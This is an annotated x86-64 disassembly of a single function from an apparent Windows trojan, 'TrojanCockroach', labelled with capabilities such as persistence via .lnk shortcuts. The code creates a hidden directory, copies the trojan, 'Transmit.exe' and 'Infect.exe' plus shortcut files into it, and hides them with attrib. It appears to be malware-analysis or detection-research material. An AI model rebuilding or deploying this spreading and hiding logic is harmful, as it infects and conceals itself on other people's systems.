Function at 0x401c8d
Capabilities:
Copy file
Create directory
Create process on windows
Persist via lnk shortcut
Set file attributes

Disassembly:
push rbp
push rdi
sub rsp, 0x2e8
lea rbp, [rsp + 0x80]
mov eax, ecx
mov byte [rbp + 0x280], al
mov qword [rbp + 0x240], 0
mov word [rbp + 0x248], 0
movzx eax, byte [rbp + 0x280]
mov byte [rbp + 0x240], al
lea rax, [rbp + 0x240]
mov rcx, 0xffffffffffffffff
mov rdx, rax
mov eax, 0
mov rdi, rdx
repne scasb al, byte [rdi]
mov rax, rcx
not rax
lea rdx, [rax - 1]
lea rax, [rbp + 0x240]
add rax, rdx
mov word [rax], 0x5c3a
mov byte [rax + 2], 0
lea rax, [rbp + 0x240]
mov rcx, 0xffffffffffffffff
mov rdx, rax
mov eax, 0
mov rdi, rdx
repne scasb al, byte [rdi]
mov rax, rcx
not rax
lea rdx, [rax - 1]
lea rax, [rbp + 0x240]
add rax, rdx
movabs rdi, 0x6f436e616a6f7274
mov qword [rax], rdi
movabs rdi, 0x6863616f726b63
mov qword [rax + 8], rdi
lea rax, [rbp + 0x240]
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
call rax
test eax, eax
setne al
test al, al
je 0x402260
lea rax, [rbp + 0x240]
mov edx, 2
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
call rax
mov qword [rbp - 0x60], 0
lea rdx, [rbp - 0x58]
mov eax, 0
mov ecx, 0xb
mov rdi, rdx
rep stosq qword [rdi], rax
mov rdx, rdi
mov dword [rdx], eax
add rdx, 4
lea rdx, [rbp + 0x240]
lea rax, [rbp - 0x60]
mov rcx, rax
call sub.msvcrt.dll_strcat
lea rax, [rbp - 0x60]
mov rcx, 0xffffffffffffffff
mov rdx, rax
mov eax, 0
mov rdi, rdx
repne scasb al, byte [rdi]
mov rax, rcx
not rax
lea rdx, [rax - 1]
lea rax, [rbp - 0x60]
add rax, rdx
mov word [rax], 0x5c
lea rax, [rbp - 0x60]
mov rcx, 0xffffffffffffffff
mov rdx, rax
mov eax, 0
mov rdi, rdx
repne scasb al, byte [rdi]
mov rax, rcx
not rax
lea rdx, [rax - 1]
lea rax, [rbp - 0x60]
add rax, rdx
movabs rdi, 0x6f436e616a6f7254
mov qword [rax], rdi
movabs rdi, 0x2e6863616f726b63
mov qword [rax + 8], rdi
mov dword [rax + 0x10], 0x657865
lea rax, [rbp - 0x60]
mov r8d, 0
mov rdx, rax
lea rcx, str.TrojanCockroach.exe
mov rax, qword [sym.imp.KERNEL32.dll_CopyFileA]
call rax
mov qword [rbp + 0x10], 0
lea rdx, [rbp + 0x18]
mov eax, 0
mov ecx, 0xb
mov rdi, rdx
rep stosq qword [rdi], rax
mov rdx, rdi
mov dword [rdx], eax
add rdx, 4
lea rdx, [rbp + 0x240]
lea rax, [rbp + 0x10]
mov rcx, rax
call sub.msvcrt.dll_strcat
lea rax, [rbp + 0x10]
mov rcx, 0xffffffffffffffff
mov rdx, rax
mov eax, 0
mov rdi, rdx
repne scasb al, byte [rdi]
mov rax, rcx
not rax
lea rdx, [rax - 1]
lea rax, [rbp + 0x10]
add rax, rdx
mov word [rax], 0x5c
lea rax, [rbp + 0x10]
mov rcx, 0xffffffffffffffff
mov rdx, rax
mov eax, 0
mov rdi, rdx
repne scasb al, byte [rdi]
mov rax, rcx
not rax
lea rdx, [rax - 1]
lea rax, [rbp + 0x10]
add rax, rdx
movabs rdi, 0x74696d736e617254
mov qword [rax], rdi
mov dword [rax + 8], 0x6578652e
mov byte [rax + 0xc], 0
lea rax, [rbp + 0x10]
mov r8d, 0
mov rdx, rax
lea rcx, str.Transmit.exe
mov rax, qword [sym.imp.KERNEL32.dll_CopyFileA]
call rax
mov qword [rbp + 0x80], 0
lea rdx, [rbp + 0x88]
mov eax, 0
mov ecx, 0xb
mov rdi, rdx
rep stosq qword [rdi], rax
mov rdx, rdi
mov dword [rdx], eax
add rdx, 4
lea rdx, [rbp + 0x240]
lea rax, [rbp + 0x80]
mov rcx, rax
call sub.msvcrt.dll_strcat
lea rax, [rbp + 0x80]
mov rcx, 0xffffffffffffffff
mov rdx, rax
mov eax, 0
mov rdi, rdx
repne scasb al, byte [rdi]
mov rax, rcx
not rax
lea rdx, [rax - 1]
lea rax, [rbp + 0x80]
add rax, rdx
mov word [rax], 0x5c
lea rax, [rbp + 0x80]
mov rcx, 0xffffffffffffffff
mov rdx, rax
mov eax, 0
mov rdi, rdx
repne scasb al, byte [rdi]
mov rax, rcx
not rax
lea rdx, [rax - 1]
lea rax, [rbp + 0x80]
add rax, rdx
movabs rdi, 0x652e746365666e49
mov qword [rax], rdi
mov word [rax + 8], 0x6578
mov byte [rax + 0xa], 0
lea rax, [rbp + 0x80]
mov r8d, 0
mov rdx, rax
lea rcx, str.Infect.exe
mov rax, qword [sym.imp.KERNEL32.dll_CopyFileA]
call rax
mov qword [rbp + 0xf0], 0
lea rdx, [rbp + 0xf8]
mov eax, 0
mov ecx, 0xb
mov rdi, rdx
rep stosq qword [rdi], rax
mov rdx, rdi
mov dword [rdx], eax
add rdx, 4
lea rdx, [rbp + 0x240]
lea rax, [rbp + 0xf0]
mov rcx, rax
call sub.msvcrt.dll_strcat
lea rax, [rbp + 0xf0]
mov rcx, 0xffffffffffffffff
mov rdx, rax
mov eax, 0
mov rdi, rdx
repne scasb al, byte [rdi]
mov rax, rcx
not rax
lea rdx, [rax - 1]
lea rax, [rbp + 0xf0]
add rax, rdx
mov word [rax], 0x5c
lea rax, [rbp + 0xf0]
mov rcx, 0xffffffffffffffff
mov rdx, rax
mov eax, 0
mov rdi, rdx
repne scasb al, byte [rdi]
mov rax, rcx
not rax
lea rdx, [rax - 1]
lea rax, [rbp + 0xf0]
add rax, rdx
movabs rdi, 0x6f436e616a6f7254
mov qword [rax], rdi
movabs rdi, 0x2e6863616f726b63
mov qword [rax + 8], rdi
mov dword [rax + 0x10], 0x6b6e6c
lea rax, [rbp + 0xf0]
mov r8d, 0
mov rdx, rax
lea rcx, str.TrojanCockroach.lnk
mov rax, qword [sym.imp.KERNEL32.dll_CopyFileA]
call rax
mov qword [rbp + 0x160], 0
lea rdx, [rbp + 0x168]
mov eax, 0
mov ecx, 0xb
mov rdi, rdx
rep stosq qword [rdi], rax
mov rdx, rdi
mov dword [rdx], eax
add rdx, 4
lea rdx, [rbp + 0x240]
lea rax, [rbp + 0x160]
mov rcx, rax
call sub.msvcrt.dll_strcat
lea rax, [rbp + 0x160]
mov rcx, 0xffffffffffffffff
mov rdx, rax
mov eax, 0
mov rdi, rdx
repne scasb al, byte [rdi]
mov rax, rcx
not rax
lea rdx, [rax - 1]
lea rax, [rbp + 0x160]
add rax, rdx
mov word [rax], 0x5c
lea rax, [rbp + 0x160]
mov rcx, 0xffffffffffffffff
mov rdx, rax
mov eax, 0
mov rdi, rdx
repne scasb al, byte [rdi]
mov rax, rcx
not rax
lea rdx, [rax - 1]
lea rax, [rbp + 0x160]
add rax, rdx
movabs rdi, 0x6c2e746365666e49
mov qword [rax], rdi
mov word [rax + 8], 0x6b6e
mov byte [rax + 0xa], 0
lea rax, [rbp + 0x160]
mov r8d, 0
mov rdx, rax
lea rcx, str.Infect.lnk
mov rax, qword [sym.imp.KERNEL32.dll_CopyFileA]
call rax
mov qword [rbp + 0x1d0], 0
lea rdx, [rbp + 0x1d8]
mov eax, 0
mov ecx, 0xb
mov rdi, rdx
rep stosq qword [rdi], rax
mov rdx, rdi
mov dword [rdx], eax
add rdx, 4
lea rax, [rbp + 0x1d0]
mov rcx, 0xffffffffffffffff
mov rdx, rax
mov eax, 0
mov rdi, rdx
repne scasb al, byte [rdi]
mov rax, rcx
not rax
lea rdx, [rax - 1]
lea rax, [rbp + 0x1d0]
add rax, rdx
movabs rdi, 0x2b20626972747461
mov qword [rax], rdi
movabs rdi, 0x20722b20682b2073
mov qword [rax + 8], rdi
mov byte [rax + 0x10], 0
lea rdx, [rbp + 0x240]
lea rax, [rbp + 0x1d0]
mov rcx, rax
call sub.msvcrt.dll_strcat
lea rax, [rbp + 0x1d0]
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WinExec]
call rax
jmp 0x4022e0
mov ecx, 0
call sub.msvcrt.dll__time64
mov ecx, eax
call sub.msvcrt.dll_srand
call sub.msvcrt.dll_rand
mov dword [rbp + 0x25c], eax
mov eax, dword [rbp + 0x25c]
and eax, 1
test eax, eax
je 0x4022de
mov ecx, dword [rbp + 0x25c]
mov edx, 0x55555556
mov eax, ecx
imul edx
mov eax, ecx
sar eax, 0x1f
sub edx, eax
mov eax, edx
mov edx, eax
add edx, edx
add edx, eax
mov eax, ecx
sub eax, edx
test eax, eax
je 0x4022de
mov ecx, dword [rbp + 0x25c]
mov edx, 0x92492493
mov eax, ecx
imul edx
lea eax, [rdx + rcx]
sar eax, 2
mov edx, eax
mov eax, ecx
sar eax, 0x1f
sub edx, eax
mov eax, edx
mov edx, eax
shl edx, 3
sub edx, eax
mov eax, ecx
sub eax, edx
test eax, eax
jne 0x4022e0
jmp 0x402350
lea rdx, [rbp + 0x1d0]
mov eax, 0
mov ecx, 0xc
mov rdi, rdx
rep stosq qword [rdi], rax
mov rdx, rdi
mov dword [rdx], eax
add rdx, 4
movzx eax, byte [rbp + 0x280]
mov byte [rbp + 0x1d0], al
call fcn.0040235a
mov qword [rbp + 0x250], rax
mov rdx, qword [rbp + 0x250]
lea rax, [rbp + 0x1d0]
mov rcx, rax
call sub.msvcrt.dll_strcat
lea rax, [rbp + 0x1d0]
mov r8d, 0
mov rdx, rax
lea rcx, str.Infect.lnk
mov rax, qword [sym.imp.KERNEL32.dll_CopyFileA]
call rax
nop
add rsp, 0x2e8
pop rdi
pop rbp
ret